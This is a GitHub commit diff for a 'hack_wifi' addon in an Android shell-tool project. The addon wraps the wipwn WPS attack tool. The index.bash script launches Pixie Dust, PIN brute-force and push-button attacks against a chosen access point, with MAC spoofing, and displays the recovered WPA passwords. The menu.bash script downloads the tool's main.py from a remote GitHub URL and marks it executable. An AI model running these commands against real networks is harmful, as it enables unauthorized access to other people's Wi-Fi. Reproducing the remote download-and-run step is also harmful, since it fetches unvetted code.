Skip to content

Commit 5bd9daf

Browse files
committed
Update
1 parent 048ae83 commit 5bd9daf

8 files changed

Lines changed: 598 additions & 324 deletions

File tree

.github/addon/hack_wifi/index.bash

Lines changed: 86 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -21,71 +21,90 @@ if [ "$(glog "auto_trans_text_${MPAT##*/}")" == 1 ]; then
2121
fi
2222

2323
if [ "$1" == "home" ]; then
24-
xml_print '<?xml version="1.0" encoding="UTF-8" ?>
25-
<page>
26-
27-
<group title="'$google_text'">
28-
<text summary-sh="iw dev wlan0 link"/>
29-
</group>
30-
31-
<group>
32-
<picker reload="true" options-sh="python '$MPAT'/scan_wifi.py">
33-
<title>'$wifi_text_1'</title>
34-
<desc>'$wifi_text_2'</desc>
35-
<set>
36-
if [ "$state" ]; then
37-
echo "'$wifi_text_3'..."
38-
echo
39-
[ -d $HOME/.Wipwn ] && rm -fr $HOME/.Wipwn
40-
[ -e /dev/wmtWifi ] && wifi_tool_mtk="--mtk-wifi"
41-
cd "$HOME/root"
42-
if [ "$(glog wifi_tool_customize)" == 1 ]; then
43-
python -u '$MPAT'/main.py -i wlan0 -b "$state" -B -w -p $(glog pin_number_wifi 00000000) --spoof-mac $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
44-
elif [ "$(glog wifi_tool_customize)" == 2 ]; then
45-
python -u '$MPAT'/main.py -i wlan0 -b "$state" --pbc $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
46-
else
47-
python -u '$MPAT'/main.py -i wlan0 -b "$state" -K --spoof-mac -d 3 -l 120 $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
48-
fi
49-
echo
50-
checktime
51-
else
52-
echo "'$wifi_text_4'"
53-
fi
54-
</set>
55-
</picker>
56-
</group>
57-
58-
<group>
59-
<action reload="true" shell="hidden">
60-
<title>'$STR_ADVANCED_CUSTOM'</title>
61-
<param name="wifi_tool_customize" value-sh="glog wifi_tool_customize 0" label="'$STR_OPTION'" desc="'$STR_ALL_ATTACK_METHODS'">
62-
<option value="0">'$STR_BASIC_ATTACK'</option>
63-
<option value="1">'$STR_PIN_DATABASE_ATTACK'</option>
64-
<option value="2">'$STR_WPS_PUSH_ATTACK'</option>
65-
</param>
66-
<set>slog wifi_tool_customize "$wifi_tool_customize"</set>
67-
</action>
68-
69-
<action warn="'$STR_PIN_WARNING'" shell="hidden" visible="echo '$number_wifi_pin'">
70-
<title>'$STR_INPUT_PIN'</title>
71-
<summary sh="glog pin_number_wifi"/>
72-
<param name="pin_number_wifi" type="number" value-sh="glog pin_number_wifi" label="'$STR_PIN_CODE'" placeholder="12345670"/>
73-
<set>slog pin_number_wifi "$pin_number_wifi"</set>
74-
</action>
75-
</group>
76-
77-
<group>
78-
<action reload="true">
79-
<title>'$wifi_text_5'</title>
80-
<set>
81-
if [ -f $HOME/root/store/wipwn_crack_data.txt ]; then
82-
cat $HOME/root/store/wipwn_crack_data.txt | sed "s|PSK:|PSK (Password):|g"
83-
else
84-
echo "'$wifi_text_6'"
85-
fi
86-
</set>
87-
</action>
88-
</group>
89-
90-
</page>'
24+
echo '
25+
[[group]]
26+
title = "'$google_text'"
27+
28+
[[group.text]]
29+
summary-sh = "iw dev wlan0 link"
30+
31+
[[group]]
32+
[[group.picker]]
33+
title = "'$wifi_text_1'"
34+
desc = "'$wifi_text_2'"
35+
reload = true
36+
option-sh = "python '$MPAT'/scan_wifi.py"
37+
set = """
38+
if [ "$state" ]; then
39+
echo "'$wifi_text_3'..."
40+
echo
41+
[ -d $HOME/.Wipwn ] && rm -fr $HOME/.Wipwn
42+
[ -e /dev/wmtWifi ] && wifi_tool_mtk="--mtk-wifi"
43+
cd "$HOME/root"
44+
if [ "$(glog wifi_tool_customize)" == 1 ]; then
45+
python -u '$MPAT'/main.py -i wlan0 -b "$state" -B -w -p $(glog pin_number_wifi 00000000) --spoof-mac $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
46+
elif [ "$(glog wifi_tool_customize)" == 2 ]; then
47+
python -u '$MPAT'/main.py -i wlan0 -b "$state" --pbc $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
48+
else
49+
python -u '$MPAT'/main.py -i wlan0 -b "$state" -K --spoof-mac -d 3 -l 120 $wifi_tool_mtk | sed -u -e "s|WPA PSK:|WPA PSK (Password):|"
50+
fi
51+
echo
52+
checktime
53+
else
54+
echo "'$wifi_text_4'"
55+
fi
56+
"""
57+
58+
[[group]]
59+
[[group.action]]
60+
title = "'$STR_ADVANCED_CUSTOM'"
61+
reload = true
62+
shell = "hidden"
63+
script = "slog wifi_tool_customize \"$wifi_tool_customize\""
64+
65+
[[group.action.params]]
66+
name = "wifi_tool_customize"
67+
label = "'$STR_OPTION'"
68+
desc = "'$STR_ALL_ATTACK_METHODS'"
69+
value-sh = "glog wifi_tool_customize 0"
70+
71+
[[group.action.params.options]]
72+
val = "0"
73+
title = "'$STR_BASIC_ATTACK'"
74+
75+
[[group.action.params.options]]
76+
val = "1"
77+
title = "'$STR_PIN_DATABASE_ATTACK'"
78+
79+
[[group.action.params.options]]
80+
val = "2"
81+
title = "'$STR_WPS_PUSH_ATTACK'"
82+
83+
[[group.action]]
84+
title = "'$STR_INPUT_PIN'"
85+
summary-sh = "glog pin_number_wifi"
86+
warn = "'$STR_PIN_WARNING'"
87+
shell = "hidden"
88+
support = "echo '$number_wifi_pin'"
89+
script = "slog pin_number_wifi \"$pin_number_wifi\""
90+
91+
[[group.action.params]]
92+
name = "pin_number_wifi"
93+
label = "'$STR_PIN_CODE'"
94+
placeholder = "12345670"
95+
type = "number"
96+
value-sh = "glog pin_number_wifi"
97+
98+
[[group]]
99+
[[group.action]]
100+
title = "'$wifi_text_5'"
101+
reload = true
102+
script = """
103+
if [ -f $HOME/root/store/wipwn_crack_data.txt ]; then
104+
cat $HOME/root/store/wipwn_crack_data.txt | sed "s|PSK:|PSK (Password):|g"
105+
else
106+
echo "'$wifi_text_6'"
107+
fi
108+
"""
109+
'
91110
fi

.github/addon/hack_wifi/install.sh

Lines changed: 0 additions & 10 deletions
This file was deleted.

.github/addon/hack_wifi/menu.bash

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,21 @@
11
# Kakathic
2-
source language
2+
33
MPAT="${0%/*}"
4-
if [ "$1" == "code_option" ]; then
5-
echo '<option type="default" id="wifi_1" auto-off="true" reload="true" interruptible="false">'$update_text'</option>
6-
<option type="refresh" style="fab" icon="'$ETC'/icon/Loading.png" />'
7-
elif [ "$1" == "code_shell" ]; then
8-
echo 'if [ "$menu_id" == "wifi_1" ]; then
9-
taive "https://raw.githubusercontent.com/anbuinfosec/wipwn/refs/heads/main/main.py" '$MPAT'/main.py 2>&1
10-
chmod 755 '$MPAT'/main.py
11-
fi'
12-
fi
4+
5+
echo '
6+
[[group.page.options]]
7+
type = "default"
8+
title = "@string/update_text"
9+
auto-off = true
10+
reload = true
11+
interruptible = false
12+
script = """
13+
taive "https://raw.githubusercontent.com/anbuinfosec/wipwn/refs/heads/main/main.py" '$MPAT'/main.py 2>&1
14+
chmod 755 '$MPAT'/main.py
15+
"""
16+
17+
[[group.page.options]]
18+
type = "refresh"
19+
style = "fab"
20+
icon = "'$ETC'/icon/Loading.png"
21+
'

0 commit comments

Comments
 (0)